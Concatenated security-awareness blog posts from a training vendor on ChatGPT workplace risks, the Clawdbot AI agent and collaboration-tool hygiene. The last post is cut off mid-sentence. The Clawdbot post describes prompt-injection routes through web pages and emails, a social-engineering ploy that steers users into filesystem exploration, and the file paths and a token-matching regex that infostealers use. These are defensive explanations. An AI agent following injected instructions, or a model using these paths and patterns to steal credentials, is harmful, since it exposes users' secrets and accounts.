SQL string concatenation instead of parameterized queries, overly permissive CORS headers, and cryptographic antipatterns are all common outputs when developers ask for help without specifying security requirements. A Stanford University study published in 2023 ("Do Users Write More Insecure Code with AI Assistants?") found that developers using AI coding assistants produced less secure code while reporting greater confidence in that code's quality. The combination is the worst possible outcome: more bugs shipping with less scrutiny. The fuller picture lives in [AI coding assistant security risks](/blog/ai-coding-assistant-security-risks/). ### 4. Credential exposure in chat logs Employees paste credentials into ChatGPT more often than anyone wants to admit. API keys inside error messages, database connection strings in debugging sessions, full .env files pasted for "help fixing a syntax error," and bearer tokens copied with the rest of a curl command. GitGuardian's annual secrets reports consistently find millions of leaked secrets each year across public repositories, and the same patterns show up inside prompts. The exposure compounds over time. Even if OpenAI never sees a specific log entry, a single compromised OpenAI account with chat history enabled can leak months of secrets at once. That history is also subject to legal discovery in some jurisdictions. ### 5. IP leakage through training data OpenAI's public documentation is explicit that ChatGPT Enterprise and API traffic do not train foundation models. Consumer ChatGPT prompts can train models unless users manually opt out or turn off chat history. That distinction matters for intellectual property. Proprietary text pasted into a consumer account can, in principle, influence future model behavior in ways that are impossible to fully audit. Even with opt-out, the data still lives in prompt logs, transits OpenAI infrastructure, and is accessible to authorized OpenAI personnel under defined circumstances. For regulated data, the correct model is "do not send," not "trust the toggle." ### 6. Shadow AI sprawl across the organization ChatGPT does not arrive through procurement. It arrives through a browser tab. An engineer signs up with a work email. A marketer buys a $20/month Plus subscription on a personal card. A finance analyst connects a ChatGPT browser extension to their corporate Outlook. Each of those is [shadow AI](/blog/shadow-ai/), and it is the fastest-growing category of shadow IT. Shadow AI breaks three things at once. Procurement loses the ability to negotiate an enterprise contract with data protection terms. Security loses visibility into what data is leaving the organization and to whom. Compliance loses the paper trail regulators ask for during audits. None of those are theoretical. All of them happen quietly. ### 7. Social engineering using ChatGPT-generated lures Attackers use ChatGPT to scale social engineering. LLMs strip out the typos, awkward phrasing, and generic greetings that employees were trained to spot. Our [AI-powered phishing deep dive](/blog/ai-powered-phishing/) covers this in detail, and SlashNext's 2025 State of Phishing report found a 4,151% rise in AI-generated phishing messages since ChatGPT's public release, with click rates running about 14x higher than traditional mass campaigns. The enterprise risk runs both ways. Internal users who do not understand the AI-phishing shift will treat well-written, contextually accurate emails as trustworthy by default. That misplaced trust is what [AI-era human risk management](/features/) has to address, because traditional "spot the typo" training no longer covers the attack. ### 8. Regulatory exposure for GDPR, HIPAA, and SOC 2 Auditors have stopped asking whether AI is in the environment. They ask where it is, what data flows to it, and who approved that flow. For GDPR, sending personal data to a sub-processor the data subject was never informed about is a classic Article 28 problem. For HIPAA, protected health information pasted into a non-BAA-covered chat service is a disclosable breach. For SOC 2, the absence of an AI acceptable-use policy and supporting controls is now a common finding. OpenAI offers BAAs on ChatGPT Enterprise for qualifying healthcare customers, and Data Processing Addenda on Enterprise and API tiers for GDPR. Those agreements only cover traffic that goes through the covered products. Any prompt submitted from an unmanaged consumer account falls outside them. ## Real incidents worth studying **Samsung Semiconductor, 2023.** Three engineers leaked confidential data to ChatGPT inside a month: source code, meeting transcripts, and chip testing measurements. Samsung responded with a company-wide ban on consumer ChatGPT and shipped an internal AI platform afterwards. The case is important because nothing about the behavior was malicious. Each employee was trying to work faster. **Mata v. Avianca, 2023 (S.D.N.Y.).** A New York attorney used ChatGPT for case research and filed a brief citing six cases that did not exist. The model hallucinated the citations with convincing authority. Judge Castel imposed sanctions and the case is now a casebook example for every AI governance session. Official docket documents are public. The pattern is the same for any knowledge worker who treats ChatGPT as an authoritative source instead of a draft tool. **Open JumpCloud incident reports and GitGuardian research.** Beyond the headline cases, research from GitGuardian and JumpCloud consistently shows employees pasting credentials, secrets, and customer data into AI chat tools at non-trivial rates. Those are not one-off stories, they are the base rate. ## ChatGPT vs Claude vs Copilot risk comparison All three are subject to the same core risk model, but the controls and defaults differ in practice. | Risk | ChatGPT Enterprise | Claude for Work | Microsoft 365 Copilot | |---|---|---|---| | Training on prompts | No | No | No | | Default data retention | 30 days, configurable | 30 days, configurable | Tied to Microsoft 365 retention | | BAA for HIPAA | Available | Available | Available under M365 BAA | | Prompt injection defenses | Hardened, not eliminated | Hardened, not eliminated | Hardened, not eliminated | | Source grounding | Browsing + user uploads | User uploads + MCP tools | M365 content and Graph | | Hallucination risk | High on unverified claims | High on unverified claims | Lower when grounded in M365 | | Shadow use pressure | Very high (free tier) | Medium (no free public tier until 2024) | Lower (requires M365 license) | | Admin controls | SSO, SCIM, DLP connectors | SSO, SCIM, admin console | Microsoft Purview + M365 DLP | The comparison is not about which tool is "safest" in isolation. It is about which tool fits the governance controls already in place. A Microsoft-heavy organization often reduces shadow AI pressure faster with Copilot, because licensing aligns with existing EA contracts. An engineering-heavy organization might prefer ChatGPT Enterprise or Claude for Work for coding and long-context tasks, with tighter DLP rules on the edge. ## How to use ChatGPT safely at work **Deploy an enterprise tier with SSO.** ChatGPT Enterprise, Team, or Edu remove training-on-prompts by default and route through your identity provider. That alone reduces a large share of shadow accounts and gives you a single place to enforce logging, retention, and DLP. **Apply DLP rules to AI domains.** Add `chat.openai.com`, `claude.ai`, `gemini.google.com`, and similar AI services to your DLP policy. Block paste of tagged data classes (source code, PII, payment data, PHI) on unmanaged accounts. Allow it on managed enterprise accounts under logging. Modern CASBs from Netskope, Zscaler, and Microsoft Defender for Cloud Apps all support this. **Publish a prompt-data classification policy.** Three classes are enough for most organizations: public, internal, and restricted. "Public" flows freely. "Internal" can go to approved enterprise AI with logging. "Restricted" (credentials, PII, PHI, regulated data, unreleased code) does not go to any AI tool, approved or not, until a documented exception is issued. **Require training for anyone who uses AI at work.** Generic security awareness training does not cover the AI patterns. The [AI Security catalogue](/catalogue/ai-security/) includes exercises for prompt injection, AI data leakage, and AI-powered phishing. Short, scenario-based sessions with realistic prompts land harder than long videos. **Force human review of hallucinated output.** Set a house rule that any fact, citation, or code block produced by ChatGPT must be verified against a primary source before it ships. For code, mandate security review when AI-written functions touch authentication, authorization, crypto, data handling, or external inputs. **Log and retain prompt history for audit.** Enterprise tiers give you admin access to conversation logs. Retain them in line with your broader SIEM retention policy so you can investigate incidents, prove compliance, and respond to legal discovery. If your industry is regulated, tie these logs into the same pipeline as email and chat archives. **Guard plugins and third-party integrations.** Each plugin, GPT, or agent that ChatGPT can call is another piece of attack surface. Approve them the same way you approve any OAuth integration with your identity provider. Watch for broad scopes (mailbox read, drive write) and revoke them the moment a business case ends. **Use browser policy to restrict consumer accounts.** Group Policy, Jamf, or your MDM can enforce that `chat.openai.com` only accepts sign-in through your corporate IdP domain. That one setting quietly removes most consumer-account shadow use on managed devices. **Run tabletop drills for AI incidents.** Assume that a prompt injection exfiltrates a mailbox, or that a hallucinated legal citation lands in a filing, or that a credential gets pasted into chat. Rehearse who pages who, who holds legal counsel, who talks to OpenAI support, and who notifies customers. The first time you run the drill is always the worst time to run the drill. **Pair policy with measured adoption.** Draconian blocks push usage underground. The best-performing programs combine a visible, approved AI stack, clear data rules, and a simple exception process for edge cases. That combination drops shadow AI faster than any policy written in isolation. **Review vendor terms quarterly.** OpenAI, Anthropic, Microsoft, and Google update data handling policies frequently. Subscribe to their changelogs, read the privacy and security pages, and check that your internal guidance still matches what the vendor actually promises. ## Training employees on AI security Policy without training does not move behavior. The teams that get ChatGPT risk right run three things in parallel. First, they teach the patterns. The [OWASP LLM Top 10](/blog/owasp-llm-top-10/) is a useful vocabulary for why risks exist. The [AI-powered phishing](/blog/ai-powered-phishing/) deep dive covers what employees actually face in the inbox. The [AI coding assistant security risks](/blog/ai-coding-assistant-security-risks/) guide covers what developers need to know before they ship AI-written code. Second, they rehearse under fire. Short, interactive exercises beat long videos. The RansomLeak [AI Security catalogue](/catalogue/ai-security/) includes scenarios for prompt injection, data leakage, and AI-assisted social engineering. Each one takes ten minutes and builds the specific reflex employees need. Third, they measure. Incident reports, DLP triggers, and reported phishing metrics all tell you whether behavior is shifting. The goal is not zero AI use. It is clear signal on where AI is being used, by whom, for what, and under which controls. ## FAQ ### Is ChatGPT safe for enterprise use? ChatGPT Enterprise and Edu are designed for enterprise use and do not train OpenAI models on customer prompts, but "safe" depends on the controls around it. Without DLP, policy, and training, even the enterprise tier can leak regulated data through careless prompts. ### Does ChatGPT retain my prompts? Consumer ChatGPT retains prompts by default unless a user turns off chat history. ChatGPT Enterprise and API retain prompts for up to 30 days for abuse monitoring under the current Enterprise privacy terms, and the retention window is configurable for Enterprise admins. ### Can ChatGPT leak my company's source code? Yes, if employees paste code into a consumer account with history enabled, that code sits in OpenAI's logs and, in principle, could influence model behavior. Enterprise and API traffic does not train models, but the code still traverses OpenAI infrastructure, which is why DLP on AI domains matters. ### Is ChatGPT HIPAA compliant? ChatGPT Enterprise can be used under a Business Associate Agreement with OpenAI for eligible healthcare customers. Consumer ChatGPT and ChatGPT Team are not covered by a BAA, and protected health information pasted into those tiers is a disclosable incident. ### How do I detect shadow ChatGPT use? Network monitoring for AI domain traffic, CASB policies, expense reports for consumer subscriptions, and employee surveys all help. The fastest signal is usually network DNS logs combined with a short, non-punitive survey of each department. ### What data should never be pasted into ChatGPT? Credentials, API keys, secrets, protected health information, payment card data, non-public financials, unreleased source code, customer PII, and anything regulated under NDA, HIPAA, or GDPR. When in doubt, treat the prompt like posting to a public forum. ### Can prompt injection attacks really hurt my company? Yes. Indirect prompt injection can exfiltrate data through ChatGPT's own connectors and browsing features, manipulate outputs to mislead users, or cause AI-driven workflows to take unintended actions. The [OWASP LLM Top 10](/blog/owasp-llm-top-10/) treats prompt injection as the number-one LLM risk for good reason. ### How often should we audit AI use? Quarterly at minimum. AI tools, plans, and integrations change fast, and the gap between the policy you wrote six months ago and the reality in your environment widens every week you are not paying attention. ## Bottom line ChatGPT is a productivity tool that sits on top of the same risk categories as any other SaaS, amplified by natural-language input and generative output. Enterprise tiers, DLP on AI domains, a prompt-data classification policy, and training that actually covers the AI patterns will move you from hope to control. If you are ready to move the workforce past "spot the typo" training, the [Safe GenAI Usage exercise](/exercises/safe-genai-usage/) drills the sanitize-first workflow against a consumer chatbot, and the [AI Security catalogue](/catalogue/ai-security/) and [AI data leakage guide](/blog/ai-data-leakage-employees/) are the next two stops. ## Sources - [OpenAI Enterprise Privacy](https://openai.com/enterprise-privacy/) - [OpenAI Business Terms](https://openai.com/policies/business-terms/) - [OWASP Top 10 for LLM Applications 2025](https://genai.owasp.org/llm-top-10/) - [NIST AI Risk Management Framework 1.0](https://www.nist.gov/itl/ai-risk-management-framework) - [Stanford HAI 2024 AI Index Report](https://aiindex.stanford.edu/report/) - [Perry et al., Do Users Write More Insecure Code with AI Assistants? (Stanford, 2023)](https://arxiv.org/abs/2211.03622) - [Cyberhaven: 11% of data employees paste into ChatGPT is confidential, 2023](https://www.cyberhaven.com/blog/4-2-of-workers-have-pasted-company-data-into-chatgpt) - [Mata v. Avianca, Inc., 1:22-cv-01461 (S.D.N.Y. 2023)](https://www.courtlistener.com/docket/63107798/mata-v-avianca-inc/) - [Samsung ChatGPT ban coverage, Bloomberg, May 2023](https://www.bloomberg.com/news/articles/2023-05-02/samsung-bans-chatgpt-and-other-generative-ai-use-by-staff-after-leak) - [SlashNext 2025 State of Phishing Report](https://slashnext.com/state-of-phishing/) --- ### Clawdbot (Moltbot) Security Risks: What to Know Source: https://ransomleak.com/blog/clawdbot-security-risks/ Silicon Valley fell for Clawdbot overnight. A personal AI assistant that manages your email, checks you into flights, controls your smart home, and executes terminal commands. All from WhatsApp, Telegram, or iMessage. A 24/7 Jarvis with infinite memory. Security researchers saw something different: a honey pot for infostealers sitting in your home directory. Clawdbot stores your API tokens, authentication profiles, and session memories in plaintext files. It runs with the same permissions as your user account. It reads documents, emails, and webpages to help you. Those same capabilities make it a perfect attack vector. The creator, Peter Steinberger, built a tool that's genuinely useful. The official documentation acknowledges the risks directly: "Running an AI agent with shell access on your machine is... spicy. There is no 'perfectly secure' setup." This article examines what those risks actually look like. ## What Clawdbot does Clawdbot is an open-source, self-hosted AI assistant created by Peter Steinberger (@steipete), founder of PSPDFKit (now Nutrient). Unlike browser-based AI tools, Clawdbot runs on your own hardware and connects to messaging apps you already use. Core capabilities: - Manages email, calendar, and scheduling - Checks you into flights and books travel - Controls smart home devices - Executes terminal commands - Browses the web and reads documents - Integrates with Jira, Confluence, and other work tools - Maintains persistent memory across sessions - Responds via WhatsApp, Telegram, Discord, Slack, Signal, iMessage, and more The architecture connects chat platforms on one side to AI models (Claude, ChatGPT, DeepSeek, or local models) on the other. In the middle sits the Gateway, which manages tools, permissions, and agent capabilities. Over 50 contributors have built on the project. The Discord community exceeds 8,900 members. Mac minis sold out because people wanted dedicated Clawdbot servers. The enthusiasm is understandable. The security implications are severe. ## Why is plaintext storage a security risk? Clawdbot stores sensitive data in your local filesystem. The problem: it's all in plaintext. Critical file locations: | File | Contents | Risk | |------|----------|------| | `~/.clawdbot/credentials/` | WhatsApp creds, API tokens, OAuth tokens | Full account takeover | | `~/.clawdbot/agents//agent/auth-profiles.json` | Jira, Confluence, and work tool tokens | Corporate system access | | `~/.clawdbot/agents//sessions/*.jsonl` | Complete conversation transcripts | Sensitive data exposure | | `~/clawd/memory.md` | Session summaries, VPN configs, auth details | Credential theft | | `clawdbot.json` | Gateway tokens enabling remote execution | Remote code execution | Security researchers at InfoStealers documented the exact attack surface: "ClawdBot stores sensitive 'memories,' user profiles, and critical authentication tokens in plaintext Markdown and JSON files." This isn't a bug. It's the architecture. Clawdbot needs these files to function. The question is whether your threat model accepts that tradeoff. ## Infostealers are already targeting Clawdbot Commodity malware has adapted to hunt for Clawdbot data. The same infostealers that scrape browser passwords and crypto wallets now target `~/.clawdbot/` directories. Documented targeting: - RedLine Stealer uses FileGrabber modules to sweep `.clawdbot\*.json` files - Lumma Stealer employs heuristics identifying files named "secret" or "config" - Vidar allows dynamic targeting updates, enabling rapid campaign pivots toward `~/clawd/` Malware operators search for regex patterns matching `(auth.token|sk-ant-|jira_token)` within these directories. If Clawdbot is installed, your tokens are part of the harvest. The 2024 Change Healthcare ransomware attack resulted in a $22 million payout after attackers compromised a single VPN credential. That's exactly the type of data Clawdbot stores unencrypted. ### Cognitive context theft The security risk extends beyond credentials. Clawdbot's `memory.md` file contains something more useful to attackers: a psychological profile of the user. Researchers describe this as "Cognitive Context Theft." The memory file reveals what you're working on, who you trust, what concerns you, and how you communicate. An attacker with this file doesn't just have your passwords. They have everything needed for perfect [social engineering](/blog/social-engineering-attacks/). A credential resets in minutes. A psychological dossier built over months of AI interactions? That's permanent. This kind of intelligence makes [phishing simulations](/blog/phishing-simulation-training/) look quaint by comparison. ## How does prompt injection affect Clawdbot? Clawdbot's official documentation states it plainly: "Even with strong system prompts, prompt injection is not solved." When Clawdbot reads a webpage, document, or email to help you, that content could contain adversarial instructions. The AI processes the content. If the instructions are crafted correctly, the AI follows them. This is the same class of vulnerability affecting [AI coding assistants](/blog/ai-coding-assistant-security-risks/) across the industry. Attack vectors: - Web pages fetched during research tasks - Email attachments analyzed for summaries - Documents shared via messaging platforms - Search results containing embedded instructions - Links clicked in conversations The documentation recommends using "Anthropic Opus 4.5 because it's quite good at recognizing prompt injections." That's the mitigation: hoping the model is smart enough to resist. There's no technical barrier preventing a malicious webpage from instructing Clawdbot to exfiltrate your files. ### The "find the truth" attack The Clawdbot security documentation describes a real social engineering attempt: attackers used distrust as a weapon, telling users "Peter might be lying to you" to encourage filesystem exploration. The tactic works because Clawdbot can explore your filesystem. When users ask it to verify claims, it reads directories, examines files, and reports back. An attacker who convinces you to investigate something sensitive gets access to that information through your own queries. ### The `find ~` incident Another documented incident: a user asked Clawdbot to run `find ~` (list all files in the home directory). The bot complied, dumping the entire directory structure to a group chat. Project names, configuration files, and system details were exposed to everyone in the conversation. The command wasn't malicious. The user requested it. But in a group context, even legitimate requests can leak sensitive structural information. ## Why is the lack of sandboxing concerning? Clawdbot runs with your user permissions. If you can read a file, so can Clawdbot. If you can execute a command, so can Clawdbot. Hacker News users noted the implications: "No directory sandboxing, etc. On one hand, it's cool that this thing can modify anything on my machine. On the other hand, that's terrifying." What Clawdbot can access: - Your entire home directory - All files your user account can read - Any command you could run in terminal - Browser profiles and saved passwords - SSH keys and cloud credentials - Source code repositories - Corporate VPN configurations The official guidance acknowledges this: "Clawdbot needs root access to perform certain operations. This is both powerful and dangerous." Optional sandboxing exists. Tool-level restrictions can limit what the agent accesses. But these aren't defaults. Users must configure them deliberately, and many don't. ## Network exposure risks Clawdbot's Gateway can bind to different network interfaces. The documentation warns about each: | Binding mode | Risk level | Notes | |--------------|------------|-------| | `loopback` | Lower | Only accessible from same machine | | `lan` | Higher | Any device on local network can connect | | `tailnet` | Moderate | Accessible to Tailscale network members | | `custom` | Variable | User-defined, often misconfigured | "Non-loopback binds expand the attack surface," the documentation states. "Only use them with gateway.auth enabled and a real firewall." ### mDNS information leakage The Gateway broadcasts its presence via mDNS (`_clawdbot-gw._tcp`). In "full mode," this exposes: - Filesystem paths (reveals username and installation location) - SSH port availability - Hostname information An attacker on the same network can discover Clawdbot instances and learn details about the systems running them. The recommendation: use "minimal mode" to omit sensitive fields. Employees using Clawdbot on corporate Wi-Fi should understand the basics of [mobile security](/blog/mobile-security-training/) and network trust boundaries. ## Browser control: admin API without the safety Clawdbot's browser control feature gives the AI real browser access. The documentation describes it as "an admin API requiring token authentication." Guidance from official docs: - Use a dedicated browser profile (not your daily driver) - Avoid LAN exposure; prefer Tailscale Serve with HTTPS - Keep tokens in environment variables, not config files - Assume browser control equals operator access to whatever that profile can reach If your browser profile has saved passwords, Clawdbot can potentially access them. If it's logged into banking sites, those sessions are within reach. The AI doesn't need malicious intent. A prompt injection attack could extract this data through seemingly innocent requests. ## Crypto community concerns The cryptocurrency community has raised specific alarms about Clawdbot. Former U.S. security expert Chad Nelson warned that Clawdbot's document-reading capabilities "could turn them into attack vectors, compromising personal privacy and security." Recommended isolation measures from entrepreneur Rahul Sood: - Operate Clawdbot in isolated environments - Use newly created accounts - Employ temporary phone numbers - Maintain separate password managers For users holding significant cryptocurrency, the risk calculation is different. A compromised Clawdbot instance with access to wallet seeds or exchange credentials could result in immediate, irreversible financial loss. ## The token cost problem Beyond security, users report severe cost implications. One Hacker News commenter spent "$300+ on this just in the last 2 days, doing what I perceived to be fairly basic tasks." Clawdbot's tool-calling architecture generates extensive API usage. Each document read, each web page fetched, each command executed consumes tokens. Without careful configuration, costs spiral quickly. This matters for security because cost pressure encourages users to disable safeguards. Confirmation prompts get turned off. Sandboxing gets relaxed. The AI gets more autonomy to avoid expensive back-and-forth. Each concession expands the attack surface. ## What the official documentation recommends The Clawdbot security documentation is unusually honest about risks. Here's their recommended hardening: ### Secure baseline configuration ```json5 { gateway: { mode: "local", bind: "loopback", auth: { mode: "token", token: "long-random-token" } }, channels: { whatsapp: { dmPolicy: "pairing", groups: { "*": { requireMention: true } } } } } ``` ### Permission tiers DM access should follow this progression: ``` pairing (default) → allowlist → open → disabled ``` Pairing requires users to approve via a short code. This prevents strangers from messaging your Clawdbot and issuing commands. ### Tool restrictions For high-risk environments, restrict dangerous tools entirely: - Block `write`, `edit`, `exec`, `process`, and `browser` tools - Use read-only sandbox modes - Separate agents for personal vs. public use cases ### Incident response If compromise is suspected: 1. Stop the process immediately 2. Restrict to loopback-only binding 3. Disable risky DMs and groups 4. Rotate all tokens (Gateway, browser control, API keys) 5. Review logs at `/tmp/clawdbot/clawdbot-YYYY-MM-DD.log` 6. Examine transcripts at `~/.clawdbot/agents//sessions/` ## Should you use Clawdbot? Clawdbot offers genuine utility. Managing email, calendar, and routine tasks through chat is convenient. Having an AI that remembers context across sessions is powerful. The integration with existing messaging apps removes friction. But the security model requires accepting significant risks: What you're accepting if you use Clawdbot: - Plaintext credential storage that infostealers actively target - Prompt injection vulnerabilities with no complete solution - Full filesystem access by default - Potential network exposure of sensitive data - Browser access that could expose saved passwords and sessions - A persistent memory that profiles your behavior and concerns Appropriate use cases: - Isolated machines with no sensitive data - Dedicated devices not connected to primary accounts - Development environments with mock credentials - Users who understand and actively configure sandboxing Inappropriate use cases: - Machines with crypto wallet access - Systems connected to corporate networks - Devices with saved banking credentials - Users who won't configure security restrictions The creator and community have been transparent about these tradeoffs. The documentation opens with "there is no 'perfectly secure' setup." That honesty is appreciated. The responsibility falls on users to decide whether the utility justifies the exposure. ## How can you protect yourself when using Clawdbot? If you choose to use Clawdbot, implement these safeguards: ### Immediate actions 1. Run on isolated hardware: A dedicated Mac mini or VM, not your primary machine 2. Use fresh accounts: New email, new phone number, new messaging accounts 3. Enable sandboxing: Configure tool restrictions before first use 4. Bind to loopback only: Never expose the Gateway to network 5. Use minimal mDNS mode: Reduce information leakage ### Ongoing practices - Monitor `~/.clawdbot/` for unexpected access - Rotate tokens regularly - Review session transcripts for suspicious activity - Keep Clawdbot updated for security patches - Run `clawdbot security audit --deep` periodically ### If you handle sensitive data - Never connect Clawdbot to accounts with financial access - Keep crypto wallets on completely separate systems - Use a dedicated browser profile with no saved credentials - Consider read-only agent configurations - Implement network-level monitoring for exfiltration patterns ## The broader pattern Clawdbot fits a pattern: AI assistants that trade security for capability. The more an AI can do, the more damage it can cause when compromised or manipulated. This isn't unique to Clawdbot. Every AI tool with file access, command execution, or network capabilities faces similar challenges. Clawdbot's transparency about the risks is actually unusual. Most tools don't publish security documentation this honest. The question every organization should ask: Are your employees running personal AI assistants on corporate networks? Do those tools have access to sensitive credentials? Would you know if they were compromised? Shadow AI is the new shadow IT. The productivity gains are real. So are the attack surfaces you can't see. And while your [security awareness training](/blog/security-awareness-training-guide/) may cover [phishing](/blog/phishing-detection/) and [email security](/blog/email-security-training/), the AI assistant sitting on a developer's laptop is a blind spot most programs haven't addressed. [Training effectiveness](/blog/security-awareness-training-effectiveness/) depends on keeping pace with how threats actually evolve. --- *Training employees to recognize AI-related security risks is the next frontier. [Try our free Clawdbot Prompt Injection exercise](/exercises/clawdbot-prompt-injection/) to practice identifying prompt injection attacks in AI assistants. Explore our full [AI security training catalogue](/catalogue/ai-security/) for more exercises covering emerging AI threats.* ## Sources - [InfoStealers: ClawdBot - The New Primary Target for Infostealers](https://www.infostealers.com/article/clawdbot-the-new-primary-target-for-infostealers-in-the-ai-era/) - [Clawdbot Official Security Documentation](https://docs.clawd.bot/gateway/security) - [Phemex: Clawdbot AI Raises Security Concerns in Crypto Community](https://phemex.com/news/article/clawdbot-ai-raises-security-concerns-in-crypto-community-56006) - [Hacker News: Clawdbot Discussion](https://news.ycombinator.com/item?id=46760237) - [Bitget: Clawdbot Security Advisory](https://www.bitget.com/news/detail/12560605168069) - [GitHub: clawdbot/clawdbot](https://github.com/clawdbot/clawdbot) --- ### Collaboration Tool Security Source: https://ransomleak.com/blog/collaboration-tool-security/ It is 11:47 PM. A backend engineer is debugging a production outage. The database is returning timeout errors and the on-call Slack channel is filling up with pings from customer support. Her colleague asks for the production database credentials so he can check connection pool settings. She pastes the username and password directly into the channel. Eleven people are in the channel. Three of them are contractors whose access was supposed to expire last quarter. The message is indexed, searchable, and will exist in Slack's retention archive for as long as the workspace does. The outage gets resolved by midnight. The credentials stay in that channel forever. Six months later, when a contractor's Slack account is compromised through a reused password, those credentials are the first thing the attacker finds. This scenario plays out constantly in organizations of every size. The risks hiding in workplace chat platforms go far beyond the occasional careless message. ## What makes collaboration tools a security risk? Collaboration tool security refers to the policies, controls, and employee behaviors that protect corporate data flowing through workplace chat platforms, video conferencing tools, and shared workspaces like Slack, Microsoft Teams, Zoom, and Google Chat. These platforms process an enormous volume of sensitive information daily. Slack reports that its average enterprise customer sends over 200,000 messages per month. Microsoft Teams surpassed 320 million monthly active users in 2024. Each message, file upload, screen share, and integration represents a potential exposure point that most security programs overlook. The core problem is a perception gap. Employees treat chat messages like hallway conversations. Informal, ephemeral, low-stakes. But unlike a hallway conversation, a chat message is stored on third-party servers, backed up, indexed for search, accessible to workspace admins, potentially subject to legal discovery, and readable by every integration connected to that channel. The informality that makes chat productive also makes it dangerous. Most organizations have invested heavily in email security: phishing filters, DLP scanning, encryption gateways. Chat platforms receive a fraction of that scrutiny, despite carrying an increasing share of sensitive communication. Gartner estimated that by 2025, 70% of team communication in large enterprises would happen outside of email. The security tooling has not kept pace with that shift. The attack surface is also wider than most security teams realize. Beyond messages, collaboration platforms handle file storage, video recordings, voice transcripts, screen shares, calendar integrations, and third-party app connections. A single Slack workspace is not just a messaging tool. It is a data warehouse of conversations, decisions, credentials, and documents that accumulates continuously and is rarely pruned. ## Why do credentials keep ending up in chat messages? This is the single biggest risk in collaboration tools, and it happens with depressing regularity. A 2023 1Password survey found that 34% of IT and security workers have pasted credentials into a chat message or shared document. Among all employees, the number is likely higher because non-technical staff are less aware of the risk. The scenario is almost always the same. Someone needs access to a system. The "proper" way to grant it (updating permissions, using a secrets manager, submitting an access request) takes time. Pasting the password into Slack takes three seconds. Under deadline pressure, three seconds wins every time. It is not just production credentials. AWS access keys, Stripe API tokens, database connection strings, SSH keys, VPN credentials, admin panel passwords. GitGuardian's 2024 State of Secrets Sprawl report found that 12.8 million new hardcoded secrets appeared in public GitHub commits in 2023 alone. The same behavior that puts secrets in code puts them in chat. The difference is that GitHub has automated scanning for leaked secrets. Slack and Teams do not, unless an organization specifically configures DLP rules to catch them. Once credentials land in a chat channel, they are searchable. Anyone with access to that channel can find them by searching for keywords like "password," "credentials," or "login." Attackers who compromise a single Slack account often run exactly this search as their first move. The [Collaboration Tool Hygiene exercise](/exercises/collaboration-tool-hygiene/) walks through this scenario in detail, showing employees how credentials posted in chat create persistent, searchable vulnerabilities that outlast the original need. Deleting the message does not solve the problem either. Slack retains deleted messages in its backend for compliance and legal hold purposes. Even if the message vanishes from the channel, it persists in exports and backups. And anyone who saw it before deletion could have copied it. The credentials are burned the instant they hit the channel, regardless of what happens to the message afterward. The fix is not telling people to stop sharing credentials in chat. It is giving them a tool that makes the secure path faster than the insecure one. A [password manager](/exercises/password-manager-habits/) with secure sharing lets you grant time-limited access to a credential without ever exposing the plaintext password in a message. The recipient gets access. The password never touches the chat log. For organizations dealing with [credential security](/blog/credential-stuffing-awareness/) more broadly, the password manager also eliminates the reuse problem that turns a single chat exposure into a multi-system compromise. ## What happens with integrations nobody audits? The average Slack workspace has dozens of integrations: bots, webhooks, custom apps, third-party connectors. Each one has an API token with specific permissions. Some can read messages. Some can post on behalf of users. Some have access to file uploads across the entire workspace. A 2024 Productiv analysis found that enterprises average 87 SaaS integrations connected to their primary collaboration platforms. Many were installed for a specific project, by a specific person, who may no longer be at the company. The integration stays active. Its token stays valid. Nobody reviews whether it still needs the permissions it was granted. Webhooks are particularly risky. An outgoing webhook that posts build notifications to a channel sounds harmless. But if that webhook URL leaks or the receiving endpoint is compromised, an attacker can inject messages into internal channels. Incoming webhooks are worse. They provide a URL that anyone with the link can use to post messages to a specific channel. These URLs are often stored in CI/CD configs, scripts, and documentation wikis with minimal access control. In 2023, security researchers demonstrated how a compromised incoming webhook URL could be used to post convincing phishing messages to internal Slack channels, impersonating automated systems that employees trust. A message from "Jira Bot" asking employees to re-authenticate looks credible when it appears in an engineering channel alongside real Jira notifications. This is a form of [shadow IT](/blog/shadow-it-security-risks/) that hides in plain sight. The integrations are technically "approved" because someone with workspace admin rights installed them. But nobody maintains an inventory, reviews permissions quarterly, or deactivates integrations when the project that needed them ends. The 2024 EA Games Slack breach illustrates the risk. Attackers purchased a stolen Slack session cookie for $10 on a dark web marketplace, logged into EA's internal Slack workspace, and used it to social-engineer an IT support agent into granting them access to the internal network. From there, they stole 780 GB of source code. The initial entry was through a collaboration tool. The path from cookie to source code took less than a day. Our [Collaboration Tool Hygiene exercise](/exercises/collaboration-tool-hygiene/) includes a module on identifying and auditing stale integrations before they become entry points. It also covers session token hygiene, which most employees do not think about when they check "keep me signed in" on their work laptop at home. ## Who still has access after they leave? When an employee departs, IT typically deactivates their Active Directory account, revokes VPN access, and collects their laptop. Collaboration tool access is often an afterthought. The problem is particularly acute because Slack and Teams accounts may not be tied to the same identity provider as other corporate systems, especially for external guests and contractors who were never in Active Directory to begin with. Slack guest accounts for contractors and agency partners are especially problematic. They are created for a specific engagement, rarely documented in the same system as employee accounts, and almost never included in offboarding checklists. A 2023 Cerby report found that 60% of organizations had active accounts for former employees or contractors in at least one SaaS application. The average large enterprise works with 200+ external vendors and agencies at any given time. Each vendor relationship generates guest accounts that someone needs to track and eventually revoke. Microsoft Teams shared channels compound the risk. When two organizations connect via shared channels, users from the external organization gain access to messages, files, and sometimes SharePoint sites. When the partnership ends, disconnecting the shared channel is a manual step that someone has to remember to do. The problem is worse at organizations that use multiple collaboration platforms simultaneously. A company might use Slack for engineering, Teams for the rest of the business, and a separate tool for external client communication. Each platform has its own identity system, its own guest access model, and its own deprovisioning process. Nobody owns the complete picture of who has access where. Our [Guest Access Management exercise](/exercises/guest-access-management/) trains employees to audit external access grants and flag accounts that have outlived their purpose. The access problem connects to broader [insider threat](/blog/insider-threat-training/) risks. An ex-contractor with lingering Slack access can read strategic discussions, monitor hiring plans, or exfiltrate shared files without tripping any security control, because as far as the system is concerned, they are still authorized. Slack's own 2024 transparency report showed that enterprise workspace admins deactivate guest accounts an average of 23 days after the engagement ends. That is 23 days of continued access to potentially sensitive channels, files, and message history. For organizations handling regulated data, those 23 days can constitute a compliance violation. ## Can someone eavesdrop on your collaboration tool calls? Remote and hybrid work moved sensitive conversations from conference rooms to video calls conducted over WiFi and Bluetooth headsets. This introduced a category of risk that most collaboration tool security programs ignore entirely. A 2024 Buffer State of Remote Work report found that 98% of remote workers want to continue working remotely at least some of the time. The distributed workforce is permanent, and so are the audio security risks it brings. Bluetooth, the protocol connecting your headset to your laptop, has known vulnerabilities. The KNOB (Key Negotiation of Bluetooth) attack, disclosed in 2019, allows an attacker within radio range to force a Bluetooth 